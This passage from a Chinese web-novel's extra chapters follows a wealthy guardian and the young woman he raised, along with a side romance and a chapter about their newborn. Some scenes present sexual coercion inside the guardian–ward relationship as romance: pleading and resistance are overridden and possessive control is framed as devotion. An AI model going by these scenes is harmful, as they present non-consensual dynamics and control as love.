可在那一刻,涌动在沈长凛心底的全都是病态至极的偏执念头。
胸腔里的心脏在紊乱地跃动着。
他很想掐住谢沅的脖颈问她,为什么爱的是沈宴白,却要来引诱他?
他也想问她,为什么不情愿,却还要继续欺骗他?
但另一方面,沈长凛比谁都要更清楚,谢沅是无辜的,她什么都不懂,什么也不明白。
他的眉眼冰冷,恶欲在疯狂地冲击着理智的边线,但他最终是将手抽出,走出了谢沅的卧室。
谢沅望着沈长凛的背影,一点点地低下了头,她垂着眼眸,很久都没有说话。
那种小孩子般的无措,侵袭着她的心头。
大一上半学期刚刚结束,谢沅就答应沈长凛要回到家里住,到现今已经有一年了,她并不敢忤逆他。
哪怕没有当初的事,如果沈长凛要求她住在家里,她也不会多说什么的。
但发生了这样的事,谢沅实在不知道要怎么办了。
她的情绪迷茫,最终是没有在家里多待,趁沈长凛出外时,悄悄地收拾行李,回到了学校的公寓。
突然发生那样的事情,怎么可能会“没关系”呢?
沈长凛的确是又忙了一段时间。
但有时是这样的,越繁忙,某些念头也就越清晰。
放手和掠夺的欲念反复交织,道德和礼义最终还是占据了上风。
之前是不知道,现在知道了,哪里好叫小孩子再那样为难?
她什么都没有做错,多无辜。
可当沈长凛回去后,听到下面的人战战兢兢地言说,大小姐搬回学校公寓,已经离开一周时,理智的弦陡然间就断裂了-
谢沅是连夜被叫回来的。
她的身份证不在自己手里,没法住酒店,暂时又没办法申请宿舍,只能住在学校的公寓里。
谢沅一边急匆匆地打车,一边向电话那头问道:“叔叔病得重吗?”
夜色已深,她的晚课要上到十点,那边刚刚结束,就急急忙忙地就回了沈家。
但情形却跟想象中的不同。
李特助、管家和医生等人站在外面,像是侯她多时。
他让人都先退下,轻声说道:“大小姐,沈总最近事情多,这是积虑成疾。”
“您也知道,沈总身边这些年都没什么人,”他声音很低,“遇到事情,也没有能分忧的人。”
李特助看向她,声音是那样的迟疑,谢沅还是听懂了他的意思。
三月多,春寒还有些料峭。
那天晚上却是一个难得的暖夜。
只不过夜色深黑,丝缕的月色都不能够照进来。
高处不胜寒。
谢沅被沈长凛养在沈家多年,他什么模样她都见过。
他温柔矜贵,骨子里却是强势的,不容忤逆,甚至带着些独断专行。
谢沅最害怕看见的,不是沈长凛动怒,而是他微蹙起的眉心和那不易觉察的伤神,他是如隔云端的权贵,可也是那样孤独的一个人。
只要一想起这些。
她的心就像是被一双手攥着,止不住地泛起酸涩。
所以听完李特助的话语后,谢沅最终接过那杯茶水,给沈长凛送了过去。
他还在病中,眉眼间都是戾气,声音冷淡:“你既是不情愿,何必这个时候过来呢?”
谢沅低下眼眸,不断地摇头,声音颤抖:“我是愿意的,叔叔。”
那是一个很清醒的晚上。
谢沅甚至觉得,她从来都没有那样的清醒过。
黑暗将她吞噬,把她从光明亮堂的地方剥离出去,身躯被涌动的暗潮淹没,她被高高地举起,然后又重重地落下,就像是在暴风雨中挣扎的小舟。
褪去温柔表象后的男人,带着病态的残忍,在所有物的身上打下烙印。
谢沅竭力隐忍,却还是止不住地掉眼泪。
沈长凛抚过她的脸庞,声音很轻,柔得像风一样:“沅沅哭的样子,很好看。”
他的语调和柔,透着的却尽是偏执的恶欲。
这合该带来恐惧。
但在极致的压抑过后,谢沅觉察到了一种很荒唐的解脱感。
就好像是,突然被人从规矩中拽了出来一样。
谢沅不想要再哭,可是却被逼得更狠,哭得也更凶,翌日她再度没能起得来床。
但不同于第一次夜晚后男人的温柔。
沈长凛把玩着谢沅的指骨,眼里仍是与昨夜类似的晦暗情绪,他漫不经心地说道:“说说,谁教予你离家出走的?”
她还疼着,但被扣住细腰时,她连挣扎都不敢挣扎。
谢沅全然不记得,她是怎样糊弄过去的。
她只记得,到正午送沈长凛走时,她站都站不起来。
谢沅低喘着气,眸光摇晃,一觉又睡过了整个下午,晚间沈长凛回来,蹙眉问道:“怎么没用晚餐?”
她揉着眼眸,从床上坐起身。
吊带裙单薄,细带滑落,雪光乍泄。
谢沅细声说道:“我……不太饿,叔叔。”
沈长凛掐住她的下颌,眸底晦暗,声音低哑:“是吗?”
谢沅有些崩溃,但最终那双无力的手臂,还是挂在了男人的肩头,她的眼眸湿润,哭腔破碎:“叔叔……”
她的眼泪坠落,像是破碎的星光。
沈长凛将谢沅抱到了落地窗边,他的指尖掐烟,俯身吻谢沅的樱唇。
她受不得烟气,却又无力抵抗。
樱唇张开,生涩地回应着。
但这样的无措,也被男人视作了不情愿。
变本加厉的摧折,让谢沅雪白的腰身都泛起青紫,她止不住地哭着,单薄的身躯颤抖,快要被破禁的疯狂逼得欲死。
“求您了,求您了……”她不断地抵抗着,沈长凛却将她的皓腕交扣在了一起。
他的声音冷淡:“不是说你愿意吗?”
谢沅泪眼朦胧,到底是将哭声咬进了唇齿间。
漫长的一日到夜深时,才算是结束。
沐浴还没完时,谢沅就快要昏过去,沈长凛托着她臀根的软肉,将人抱在怀里,带回到卧室里。
她累到手指都抬不动,趴在他的肩头,到底是没有抵挡住困意,昏沉地睡了过去。
谢沅的长睫垂落,在眼睑处落下一层浅色的阴影。
夜色已深,但沈长凛却没有离开。
他陪在谢沅的身边,就那样看了许久。
道德和礼义是再也不复存在了。
用病态的方式将谢沅掠夺到身边的那一刻起,沈长凛就再也没有想过放手。
他就是死,也不可能会放开谢沅的。
不能得到她的心,那就先得到她的身体、她的魂魄,假以时日,他的存在就占据她的全世界。
在那时候,她一定会忘记沈宴白的,不是吗?
沈长凛扣住谢沅的手指,将指节一根根地嵌入,两人十指相扣的瞬间,他感知到一种病态的满足。
她是他的。也只能是他的。
一整晚都睡得昏沉。
谢沅翌日将近正午才清醒过来,她撑着手臂坐起身,眼底还带着少许青影。
她抚着额头想了片刻,才将昨夜的事记清楚。
谢沅的脸庞滚烫,低眸看见腕间的红痕时,她连耳根都是红的。
她起不来床,也不想起床。
怕沈长凛知道,怕他还要再罚她。
好在他向来都是冷淡克制的人,于此间事也很是寡欲。
谢沅没有多想的余力,她昨天都没吃什么,就是被沈长凛喂了点小蛋糕,然后吃了些樱桃,便没有多用。
她又不想下楼,腹中又已经空空,纠结地躺在床上,抱紧了毛茸玩具。
人到十二点还没有下来。
难不成是想用不吃饭,来闹脾气?
沈长凛眉心拧着,侯了谢沅许久后,耐心最终告罄。
他直接上楼,用指纹解锁了谢沅卧室的门,然而抬起眼帘,就看见她抱着平板问:“Siri,很饿又不想下楼要怎么办?”
沈长凛神情微动,忽然就没了情绪-
沈长凛没再多强迫谢沅,她毕竟还要上学,不能天天起不来床。
他只要求她好好学接吻。
但就是这样简单的事,谢沅也充斥抗拒,跟寻常孩子不一样,她的抗拒是细微的、无声的。
被吻得受不住了,她也只会强忍泪意。
谢沅不会将任何抗拒的情绪表露出来,可沈长凛对谢沅比她自己还要更加熟悉、了解。
意识到这一点的时候,那些温柔的情绪忽然就褪尽了。
不愿意跟他接吻,那是想跟谁呢?
沈长凛的眸光晦暗,没再耐心地教引谢沅。
长驱直入的吻将她逼得想哭,她不敢抗拒,被男人抱在腿上,吻得狠时,眼泪都要掉下来。
沈长凛是过了一段时间,才发现谢沅不喜欢烟味的。
她穿着黑色的吊带裙,坐在他的腿上,眼尾湿红,眸里含着水光。
这些天强迫谢沅学接吻,她非常的抗拒,她越抗拒,他就越想要逼迫她。
此刻沈长凛才陡地意识到,她可能不是在抗拒和他接吻,她只是不喜欢烟味。
他抚上谢沅的脸庞,将她眼尾的泪水拭去。
沈长凛声音微哑,迟疑地问道:“沅沅,你是不是不喜欢烟气?”
她坐在他的腿上,樱唇红肿。
谢沅有些怕,她低着眸摇了摇头,细声说道:“没有不喜欢。”
她胆子一直都是很小的,害怕也不敢说,抗拒也不敢说。
情绪更是从来都不敢表达出来。
沈长凛薄唇微抿,低声说道:“抱歉,叔叔以后不会再那样了。”
谢沅不知道他是怎样觉察的,只是在那之后,他再也没有在她跟前抽过烟,也没有再强迫她接吻。
他们的这段关系开始得紊乱。
跟沈长凛开始后,谢沅将沈宴白的消息都抛之脑后,跟秦承月也很久没有联系。
巧的是,秦承月同样很久没有跟谢沅联系。
沈长凛再也没有提过联姻的事,只是压在谢沅心头的背德感,始终没有退去。
夜深人静时,她还在看书和写论文。
就好像只要把时间填满,便不必去多想其他的事情。
谢沅这学期前八周的课很多,期中考试结束后,她才轻松很多。
但不幸的是,她在攀岩课时不小心将腿跌伤了。
沈长凛刚好在家里,他回来时,家庭医生刚给谢沅又上了回药。
马上就是五一假期,她可以在家里休息很久,期中考试结束,很多前八周的课也完成,她接下来都没什么事情。
沈长凛以前从不会想这些事的。
但是现今他偶尔回来迟了,都要想谢沅明天早上有没有课。
他一直在她的生命中,可到如今他才能算是参与进了她的生命中。
谢沅主动跟他打了电话,说没有事情,回到家后,沈长凛才发觉不是她说的那么一回事。
她侧过脸庞,微微吸气,长腿屈着,无力地靠在床边。
见他进来,她抬起水眸,讷讷地说道:“您不是明天才回来吗?”
沈长凛现今是脾气好了,才没有立刻就罚谢沅。
他阖了阖眼眸,强压下心底的暗怒,低声说道:“我不回来,你是不是就想一直骗过去?”
马上就是五月,燕城的天已经很热了。
谢沅的腿又跌伤了,她穿得很薄,短袖上扬,露出半截纤细雪白的腰肢,热裤也很短,皎色的长腿全都露了出来。
她怯生生地抬眸,细声辩解道:“没有,叔叔。”
“给您打电话时,还没有那样严重,”谢沅水眸闪动,“真的是后来,才变成这样的了。”
她的言辞委屈,带着些不易觉察的娇意。
就像是在潜移默化间,忽然融化成春水的薄冰。
沈长凛单膝跪地,抚上谢沅的小腿,轻声说道:“别难过,叔叔没有要怪你,我就是想问你现在还疼不疼,沅沅?”
他想那时候,他的声音一直很柔软。
不过在谢沅主动抱住他的那个瞬间,萦绕在心头的,始终是另一个念头。
总有一天,他会得到她的心。
——下一次单膝跪地时,合该是在他们的求婚仪式上。
第82章 番外03 温思瑜vs秦承月
温家和秦家看似关系匪浅,实则没什么牵扯。
也永远不会有什么牵扯。
就像温思瑜和秦承月二人,瞧着亲近,其实除却社交场上外,一直都很疏离。
身份是原因,但更多是性格的差异。
温思瑜明艳张扬,行事素来无所顾忌,说是温家的长公主,实则跟温家的小霸王也没什么区别。
圈里圈外都没人敢招惹。
秦承月持重沉稳,早早就做了秦家的继承人,他骨子里带着矜傲,略微有些清高。
一个在燕城横行霸道,一个国外留学多年。
就是秦承月回国后,两人依旧没什么交集。
也没有产生交集的缘由。
事情发生变故是在某个意外的夜晚。
温思瑜是温家的长公主,生活最大的消遣就是满世界地游玩,她跟朋友去拉城看展、度假。
十月的美国,天还没有多冷。
她点了一支烟,漫不经心地在露台边抽。
谢沅不喜欢烟味,她年岁又小,怕教坏孩子,温思瑜从来不在她跟前抽。
然后就是母亲沈蓉,她总觉得独女还是个乖巧、顺从的小女孩。
沈蓉身子越来越差了。
第一次发觉她抽烟时,沈蓉跟她吵过几回。
后来温思瑜烦不胜烦,又顾忌沈蓉的身子,到底是没跟母亲多说什么。
她只草草地言说已经戒烟,便没多辩解。
此刻瞧着落日西坠,温思瑜倏地起了兴致,她指尖掐着烟,躺在摇椅上,眺望金红色的霞光渐渐消逝,被夜幕所倾覆。
她的身边很少有寂静的时候。
热闹得久了,就是想静下来都难。
温思瑜掐灭烟不久,便有人谄媚地笑着来请:“思瑜姐,您不过去吗?”
她扬了扬眉,抬声说道:“我怎么不过去?”
温思瑜唇边含笑,心里却没什么情绪。
每当置身于喧嚷中时,她都会很容易想得到谢沅。
这世界上有一种人真的很奇妙,和你的牵连可能并没有那样的深,却就是能让你在想起她的刹那,心情就变得很平静。
聚会的酒吧很热闹。
爵士乐和摇滚乐来回交织,这会儿轮到金属朋克,乐队在台上疯狂地演绎着。
温思瑜执着酒杯,在五光十色中看到一张熟悉又陌生的脸庞。
将头发梳得一丝不苟的秦承月跟这个世界格格不入,他的唇边却挂着淡笑,像是在用英语和身边人在说什么。
他半掩住唇,压低声问道:“你确定是在这里吗?”
身畔的师弟也有些困惑,说道:“应该就是在这里。”
“是个大小姐,请了好些乐队,”他挠了挠头,“姓温,不知道师兄你认识不认识?”
秦承月神情微怔,他的身后还背着乐器,抬起眼帘的瞬间,和坐在高处摇晃酒杯的温思瑜对上了视线。
有些事情,或许真的是命运。
温思瑜和秦承月在燕城相见过无数回。
双方说上话的次数,掰着手就能数清楚,说过的话更是只有那么几句。
客客气气的“晚上好”、“好久不见”,然后就没什么了。
可在拉城的这个意外的晚上,褪去身份和家族的辉映后,他们交谈到了深夜。
温思瑜摇着杯中的酒,笑着说道:“真没想到,你还玩过乐队。”
“很早之前的事了,”秦承月梳到后面的头发放了下来,“已经很久没碰过了,挺生疏的。”
他的言辞既矜傲持重,又很是谦逊有礼。
这种形容前后矛盾。
但放在秦承月的身上,却是分外的合适。
他真是个怪人。
温思瑜望着秦承月的侧颜,静默地想着。
太奇怪了,这个人。她以前怎么就没有发现,他这么奇怪呢?
温思瑜没有深究秦承月为何会此时出现在拉城,那晚过去不久,她就飞了巴黎,听说秦承月也很快回了燕城。
那个意外的夜晚,像突然被破开的天窗。
他们更熟悉了一点,但不久后在宴席上重逢,两人又恢复了惯常的客气、疏离。
很多人艳羡权贵能够为所欲为。
却只有深陷在圈子里的人才知道,身居高位,到底有多少的不得已。
他们看似尊崇贵重,能够左右旁人的生死,但却并不能掌控自己的命运,甚至连幸福与渴望,也是全由别人说了算。
很久之后,温思瑜才知道,在拉城见到秦承月的那个夜晚,他才开了通宵的会议。
豪门世家,簪缨望族。
是容不得掌权者有欲、有念存在的。
即便是音乐,也只是音乐-
破冰是个很缓慢的过程。
等待寒冰消融,须要很漫长的时光,但如果用上手段,破冰可能也只在一瞬间。
进入十二月以后,这一年也在飞快地宣告尾声。
温思瑜二十四五的年纪,说不上大,也说不上小。
在她少女时,沈蓉总是期盼她能够胜逾一切堂兄堂弟,成为温家真正的长公主。
或者说,皇太女。
温家是跨国集团,核心的产业很大一部分在国外。
但大家族总是要更传统、更保守些。
温先生从没想过将权力交予独女继承,他早先就领养了亡弟的儿子温怀瑾,然后在家族中也有几位颇为亲重的晚辈。
沈蓉却未曾停止过给温思瑜争取,毕竟温思瑜可有沈长凛那么一位舅舅。
这样的身份,就意味着温思瑜和所有人不同。
直到某一天,沈蓉觉察温先生与一个女人过从甚密的时候。
当她发现那个女人是曾经的妯娌,温先生亡弟的妻子时,她像是疯了一样。
怪不得温先生虽不那般喜她,还是将她娶进门。
怪不得他非要给温思瑜和温怀瑾取相对的名字。
但让沈蓉彻底疯掉的,还是那样一份亲子鉴定,她平生最重体面,最怕的就是被人看不起,打碎牙也要和血吞。
可是这样荒唐的、腌臜的事,就是发生在了她的身上。
温先生倒很冷静。
他将怀中的女人往身后挡,平静地看向沈蓉:“你接受不了的话,我们可以离婚。”
温先生并没有遮掩,他坦然得不可思议。
温思瑜年纪那时还不大,十五六岁,她是在某次父母争吵时,偶然觉察这桩事的。
女孩子的心思,总归是要更敏感些。
她那时还是无忧无虑的大小姐,忽然间就有了重重的心事。
这又是一桩谁也不能说的心事。
温思瑜等了半月父母婚姻破裂的消息,但结果是什么也没有,那桩事就好像没有发生过似的。
沈蓉甚至待温怀瑾更好了。
说是视如己出也不为过。
温思瑜年岁小,并不能明白,她只是渐渐地意识到,母亲没了再让她超越男人的念头。
尤其是在温思瑜成年过后。
沈蓉对她的要求和期许,好像一夜之间就从“胜男”的大小姐,变成了贤良淑德的女人。
“你跟明家那孩子,要多见见面,”沈蓉笑着说道,“往后夫妻间才协调。”
“现在呢,是要你做温家的排面,”她握住温思瑜的手,“但等你婚后,还是少抛头露面,免得有什么风言风语。”
温思瑜最初时,每次听了都极为厌烦。
后来她也渐渐地懒得言语了,敷衍地说道:“好,我都听您的。”
然后就到了这一年的冬天。
温思瑜坐在沙发上,瞧着外边的枯枝败叶,明艳的眉眼略带倦怠。
她摆弄着桌案上的花瓶,莫名地想起了秦承月。
那通电话打过去得很突然。
“你最近有空吗?”温思瑜轻声说道,“要出来喝酒吗?我朋友新开了家酒吧,请的乐队都还不错。”
隔着一堵墙,是沈蓉和人虚与委蛇的谈话声。
秦承月沉默了片刻,低声说道:“有空。”
霜冰的乍破是很突然的事。
有些苦闷是不易被觉察的,也是不便于说予旁人的,只有同样置身泥潭的人,才明白这是一种怎样的痛苦。
他们自然都是活得很好的人。
万人之上,高贵尊崇。
等闲人都不敢多言。
可只有他们自己知道,这荣华之下,到底是怎样的难以言喻。
酒吧里吵闹喧嚷,并不是个适宜的聊天沟通之地。
但在这样的闹声中,温思瑜却久违地放松下来,在乐声到达顶峰时,她揉了一把秦承月的头发:“你出来玩,能不能不要这么正经?”
两人已经出来许多次,关系也不再那般疏离客气。
秦承月二十六岁,比沈长凛还要年轻些。
但两人站在一起时,没人觉得那位矜贵俊美的沈家家主,是更年长的人。
秦承月低声说道:“好,我知道了。”
他本意是想将梳到后方的头发,拨弄得稍微乱一些,但抬手的瞬间,忽然碰到了温思瑜的指节。
温思瑜也愣怔了一瞬。
他们二人都立刻抽回手,也没有再多说。
但都是成年人,谁不明白那意味着什么?
氛围的转变是悄无声息的,等到寒冰彻底消融时,其下涌动的暗流才变得分外清晰。
温思瑜给谢沅打电话。
她最近很高兴,像是在热切地盼着什么,温思瑜问她,她说在等圣诞节。
平安夜很寂静。
温思瑜拨通电话时,刚好是零点,她轻声说道:“圣诞节快乐,沅沅。”
但电话的另一头,还没有声音响起,便被挂断。
谢沅睡得早,她每年努力跨年,都要失败,方才或许是睡熟了,忽然碰到接听键。
温思瑜的心却突然冷静了下来。
这或许就是预兆。
沅沅不喜欢秦承月,但这并不意味着,她就能够和这位未来的妹夫发生什么-
可生命的奏鸣曲,就是意外。
很多人都猜想,等到谢沅二十岁后,沈长凛就会将她跟秦承月的事摆上台面。
他很早之前,就给二人指婚。
谢沅年岁太小,他们没有正式订婚,这桩婚事也一直没有过明路。
但不知道为什么,新年过去后,沈长凛还是没有提起这件事。
就仿佛这段婚事便这样作罢了似的。
沈蓉也请人旁敲侧击过,却说谢沅接了电话,便是摇头细声言语,说她也不知道。
想请人到家里,沈长凛那边也不应允,直接让人回绝了。
只怕消息都没递到谢沅跟前。
温思瑜倚在墙边,安静地听着,末了也没有说什么,轻轻地越过待客厅,走向了露台。
新年前后,家里人来人往格外的多。
父亲温先生正在窗边和昔日弟媳言语着什么。
很多人赞他心善,收养亡弟之子,还那样器重,对于弟媳颇为照拂。
不久两人一道往楼上走去,沈蓉见了,也是满脸的笑:“我还说怎么没见着你呢,原来在这里。”
三个人,瞧起来是那样亲密。
但只有温思瑜知晓,这是多么怪诞的一个家庭。
她不恨他们,也不怪他们。
她仅仅是对自己的渴望,感到讽刺。
温思瑜阖了阖眼,指尖莫名地又点到那个对话框上,她本想按灭屏幕的,却倏然碰到了视频通话。
秦承月刚好也在看手机,或许是以为有急事,立刻就接了起来。
两个人有段时间没有接触。
但只是对上视线的刹那,压抑的情绪便忽然复苏。
秦承月低声说道:“你那边出了什么事吗?”
“……没什么事。”温思瑜侧过脸庞,“刚刚不小心碰到了。”
很平淡的对话,结束的时候,她却没能舍得按下挂断。
秦承月很轻地笑了一下,他低头说道:“你是不是想喝酒了?稍等一下,我这边还有点事情,马上就处理完。”
他二十多的年纪,眼底却是三十多的持重。
平心而论,秦承月是这一代里最杰出的青年才俊,但他也真的是个冷到没趣的人。
对着谢沅那样乖的孩子,他都露不出来几个笑脸。
虽然谢沅对他也一直有些微妙的排斥就是了。
温思瑜看向屏幕,眼眶陡然有些酸,她低声说道:“是啊,我有点想喝酒了。”
不知道从那一日起,谢沅再也不会提到秦承月。
沈蓉猜测,或许是沈长凛的默许。
想给谢沅换个新的丈夫。
沈长凛身处的位子高得可怕,旁人若是能够嫁入秦家,成为秦家的少夫人,只怕要高兴得手舞足蹈。
但对谢沅来说,就没这个必要了。
如果她愿意的话,这整个权贵圈子里,便没有她嫁不得的男人。
沈蓉每每提到,言语都尽是艳羡。
她笑着看向女儿,蔼声说道:“我就是吃了生太早的亏,我要是长凛的妹妹,肯定能嫁得更好,让你也过更好的日子。”
妹妹?沈宴白可是沈长凛的亲侄子,也只是那样罢了。
但谢沅是他碰在掌心里呵护的孩子。
背德的压力,在半年的时间中,最终是退了潮。
温思瑜松了口气,她也在静默地等待,沈长凛何时会再度开口,言说谢沅的下一任丈夫。
谢沅从来没有表露,但她能感知得到,谢沅的情感在发生波动。
不是因为秦承月。那只能是另一个男人。
但在那之前,沈蓉先一步撞破了温思瑜和秦承月的事。
不同于预想中的激烈反对,沈蓉大喜过望,甚至可以说是喜极而泣:“你这孩子,这么重要的事,怎么不早说?”
被母亲抱在怀里时,温思瑜有一片刻的愣怔。
她迟疑刹那,低下了头。
“你别担心,妈一定给你想办法,”沈蓉高兴地说道,“妈最在乎的,就是思瑜你的幸福。”
她是多灵通、多敏锐的人。
谢沅跟秦承月的事,一点风声都没有,那就八成是成不了。
沈长凛说不定,还等着秦承月有点眼色,主动来言说呢。
沈蓉越说越高兴:“虽然咱们两家照理来说不能有牵扯,但你们都这样了,你舅舅应当不会如何的。”
温思瑜沉默片刻,低头应道:“嗯。”
她不知道她答应了什么。
温思瑜只是知道,在母亲久违的蔼然欣悦目光望来时,她想要答应沈蓉的一切。
第83章 番外04 养崽日常
在生孩子上好像有一个特别神奇的规律。
健壮的母亲容易生出瘦小的孩子,而柔弱的母亲则更容易生出结实的孩子。
谢时尹小朋友是个很健康的小宝宝。
他生得像沈长凛,但那双水眸却是跟谢沅一模一样。
清澈剔透,像盈着星光似的。
看完谢时尹后,谢沅穿着白裙子,踩着兔子拖鞋回到房中,她在日历上打了一个红色的勾,笑颜柔美:“再有一天就可以回家啦。”
沈长凛担心她的身体。
谢沅和谢时尹在医院里待了很久,新年都是在这边过的。
他没准允太多人过来,但这一年还是出奇的热闹。
无数的鲜花和礼物送到楼下,谢沅手机的收件箱也快要被各种消息挤爆,温思瑜来的那天,更是带了一捧大到无以复加的花,谢沅差点都没拿住。
她站在日历边,单手插在腰间,像是个端详画作的画家。
生过孩子后,谢沅的身躯又恢复了往昔的纤细体态。
不过和少女时代的单薄相比,到底是有些不同的。
领口微敞,露出的是莹白的雪肤,其下是柔软如花苞般的曲线,延展蔓伸,收拢在不盈一握的腰肢,然后到嫩臀处时再度翘起。
沈长凛搂住谢沅的腰身,从后方将人揽在怀里。
他吻了下她的额头,轻声说道:“嗯,后天一早我们就回家。”
谢沅已经出月子了,但沈长凛在这种事上向来严格,将谢沅在医院里多留了几天。
她报复性地狂玩了一段时间的电子设备,眼睛都看得疼了。
这是马上就能回家,谢沅才消停下来。
她每天都去看宝宝,趴在谢时尹的小床旁边,听他咿咿呀呀,然后单方面地跟他聊天,生活既轻松又快乐。
只有一件事很麻烦又很难以讲述。
谢沅侧过身,攀上沈长凛的脖颈,雪白的长腿也分开,环上他的腰身。
她像小八爪鱼一样,整个人都贴在了他的身上。
谢沅的脸庞透着薄粉,腰肢也轻轻摇动。
她靠近他的耳边,细声说道:“我难受,叔叔。”
沈长凛托起谢沅臀根的软肉,将她搂在怀里,往内间抱去。
他声音很轻,像哄孩子似的,只有尾音透着少许的哑意:“没事,待会儿就不疼了。”
从前谢沅很怕这桩事。
近来却不太一样。
谢沅趴在沈长凛的肩头,她的耳尖动了动,仰起水眸,看向沈长凛,眼底都是光亮:“叔叔,你今天疼疼我,好不好?”
她的声音很小,眸里藏着纯真的诱惑。
瞧着懵懂,却尽是欲气。
沈长凛扣着谢沅的腰身,熟稔地挑开她后颈处的细带。
她房间的暖气开得总是格外足,足到能让她在刚开春就穿睡裙。
谢沅最近总是很难受,要沈长凛帮,衣服也换成了最好更换的这种,他的指节轻动,就能把她整个人按在怀里。
他动作轻柔,话语却是那般残忍:“就差两天,沅沅也等不得吗?”
沈长凛的声音带着些散漫。
谢沅的年岁在长,他的年岁也在长。
但不知怎的,这男人却仿佛逆着生长似的,不仅生得更加俊美,气质也越发像当初那位尊贵慵懒的沈三公子了。
谢沅还是经不起逗弄。
她趴在沈长凛的怀里,将透着薄红的脸庞埋进他的肩窝,人也不肯说话了。
沈长凛将谢沅抱到柔软的大床上。
这里的装潢和她卧室很像,连外间的青绿树木都颇为相近。
夜色昏黑,有月光透过落地窗照了进来。
沈长凛扣着谢沅的腰身,轻拍了拍她的脸庞,低声哄道:“听话,沅沅,你不难受了吗?”
她一直都是很乖的孩子,虽然禁不住诱惑,但其实是有些寡欲的。
今次实在是旷了太久。
谢沅早先就出了月子,他也早先就该喂饱她的。
可出于对她身体的顾虑,沈长凛还是让她再多禁欲了几日。
这是有些委屈孩子的。
不能他每天餍足,却叫她日日饿着。
谢沅的眸里还盈着水光,但到底放下了手臂,她的身躯微微后仰,长睫也半阖:“你轻一点,叔叔。”
沈长凛吻了吻她的额头,轻声说道:“嗯。”
他哪里舍得叫她难受呢?
不过此间事,本来就是很难隐忍的。
谢沅坐在沈长凛的腿上,她死死地咬住唇瓣,却还是有泣音颤着溢出。
她的脸庞红得滴血,眼尾也透着湿红。
从谢沅孕期到现今,这桩事两人都已经很熟稔,但她每次却还是很难忍受,眼泪也常掉个不停。
沈长凛把她抱在怀里,轻声哄着:“不哭了,沅沅,等回家以后,叔叔会好好补偿你的。”
谢沅坐在他的腿上,肩膀微微地抖动着。
她过了许久,眼泪才终于止住。
沈长凛抱谢沅去沐浴,洗完澡后再将人从洒满玫瑰花瓣的浴缸里抱出。
她孕期总是很嗜睡,现在才勉强好些,但一旦累着,还是很容易睡过去。
洗澡都要人盯着才行。
谢沅困得马上就要在浴缸里睡过去,沈长凛把她抱起来,她才清醒少许,可一到他的怀里后,困意却更重了。
他搂住她的腰身,心底都是很温柔的情绪-
谢沅的好日子结束在回到秦家的那天。
她臂力很差,但还是能抱得动小小的谢时尹。
小宝宝尚在襁褓,一天简直能睡二十个小时,他睡着的时候很乖,不哭也不闹,长得也越来越可爱,皮肤柔软得吹弹可破。
谢沅拿着摇铃,跟他一起玩。
她坐在车里,高兴地说道:“三三好聪明。”
沈长凛坐在副驾,临到秦家时,才刚刚结束远程会议,他摘掉耳机,迈出长腿从车里走出来。
谢时尹实在是太能睡了。
谢沅想陪他玩,也经常遇不到他醒过来的时候。
今天小宝宝难得一直醒着,她陪他玩了一路,将副驾还在工作的沈长凛忘了个一干二净。
下车后谢沅才想起来他。
她抱着宝宝,抬起水眸,乖乖地唤道:“叔叔,你终于开完会啦。”
两个人相处的时间久了,谢沅也越来越会应付沈长凛。
跟宝宝玩得将他忘了,也能表现得是等他很久。
男人的容色俊美,因为是逆着光,略微有些晦暗不明,谢沅微微颤了一下,再度唤他:“叔叔,我们回家吧?”
沈长凛侧过身,将她的小手牵住,轻声应道:“嗯。”
日光洒落,照得他浅色的眼眸更加剔透。
沈长凛的神情带着些漫不经心,好像真的没什么情绪,谢沅自从有宝宝后,一直被他宠得很过,全然没有意识到危险。
直到被抱回到那间熟悉的卧室,落地窗边最厚重的帘子也被放下时,她小动物般觉察危险的本能才再度苏醒。
谢沅下意识地就想躲。
但她连足尖还没点到地上,便被攥着腰身拽了回来。
“你不想叔叔疼你了吗,沅沅?”沈长凛的声音很轻,掌住她腰侧的动作却是那样狠。
谢沅终于想起一个很可怕的问题。
她此次旷了很久,但沈长凛也同样是禁欲多时。
谢沅的眸里氤氲着水汽,哭声还没从喉间溢出,便被弄碎了。
他们早上九点就到了家,但直到晚上的九点,她才被沈长凛抱着下楼。
谢沅浑身上下一点力气都没有,她坐在沈长凛的腿上,连启唇用餐的力气都快要耗尽了。
她的眼眸红肿,嗓子也全哑了。
小姑娘敢怒不敢言,像是生怕他再欺负人,瞧着既可怜又招人疼。
进入而立之年后,沈长凛身上的气质更加矜崇,贵气敛都敛不住,举手投足都带着上位者的温雅。
可在人后,他却越来越坏心眼了。
用完餐后,沈长凛亲了亲谢沅的脸庞,声音轻柔:“沅沅这是叶公好龙,之前还说要……的,你说的……、……,实现哪一个了?”
外间对他的评价一直都是淡漠、寡欲,不近女色。
可只有谢沅知道,沈长凛坏的时候,可以坏到什么程度。
她的脸庞涨得通红,一个字都不想跟他多说,挣扎着就想从他的膝上下去。
但男人的指节牢牢地钳住了她的腰身。
沈长凛漫不经心,轻声说道:“沅沅今晚要是想被……出来,那就从我腿上下来。”
他是说到做到的人,在床笫间手段又狠、花样又多。
谢沅立刻就老实下来。
她的樱唇微抿,转移话题道:“我是想喝那杯果汁,叔叔。”
谢沅乖乖地坐在沈长凛的腿上,等他将杯盏拿过来,喂她喝果汁。
他又温柔起来,轻声说道:“想要什么,跟我说就好。”
谢沅很想要像沈长凛一样从容淡然,脸庞却控制不住地红着,她强作镇定应道:“好,叔叔。”
白天折腾得太过,晚间沈长凛没再欺负她。
两个人一起去谢时尹的宝宝房看他。
谢时尹很不给面子地睡着了,谢沅轻轻戳他的小脸,有些郁闷地说道:“都怪叔叔,要是我们早点过来,三三就不会睡着了。”
这样的指责带着私心,毫无缘由可言。
但沈长凛很温柔地应下了。
“下次不会这样了,”他轻声说道,“下次宝宝醒了,我们就过来看他,好吗?”
沈长凛表现得很像个蔼然的父亲。
如果谢沅不知道他打算马上就把宝宝送出国的话。
她今年秋天要开始读博,沈长凛工作又是那样忙碌,这半年多是因为她怀着身孕,才一直在她身边照看她。
他们都不是能有大量时间养育一个小孩子的人。
与其让宝宝在他们身边受冷遇,倒不如送去外婆身边让他被疼宠、呵护。
而且在最初和沈长凛在一起时,谢沅就知道他是个怎样的人。
如果不是继承人的问题须要解决,她甚至觉得他可能会不想拥有一个分夺她视线的孩子。
毕竟他们家里是真的有家业要继承。
沈长凛性子偏执,占有欲和控制欲极强,他对孩子的爱,也全是出于对她的爱屋及乌。
这样的人,其实是不适合做父亲的。
但与此同时,沈长凛又是个很善于掩饰的人。
他做事滴水不漏,内里虽然冷情淡漠,甚至有些冷血残忍,可外人看来,总会觉得他温柔从容,是个好说话的人。
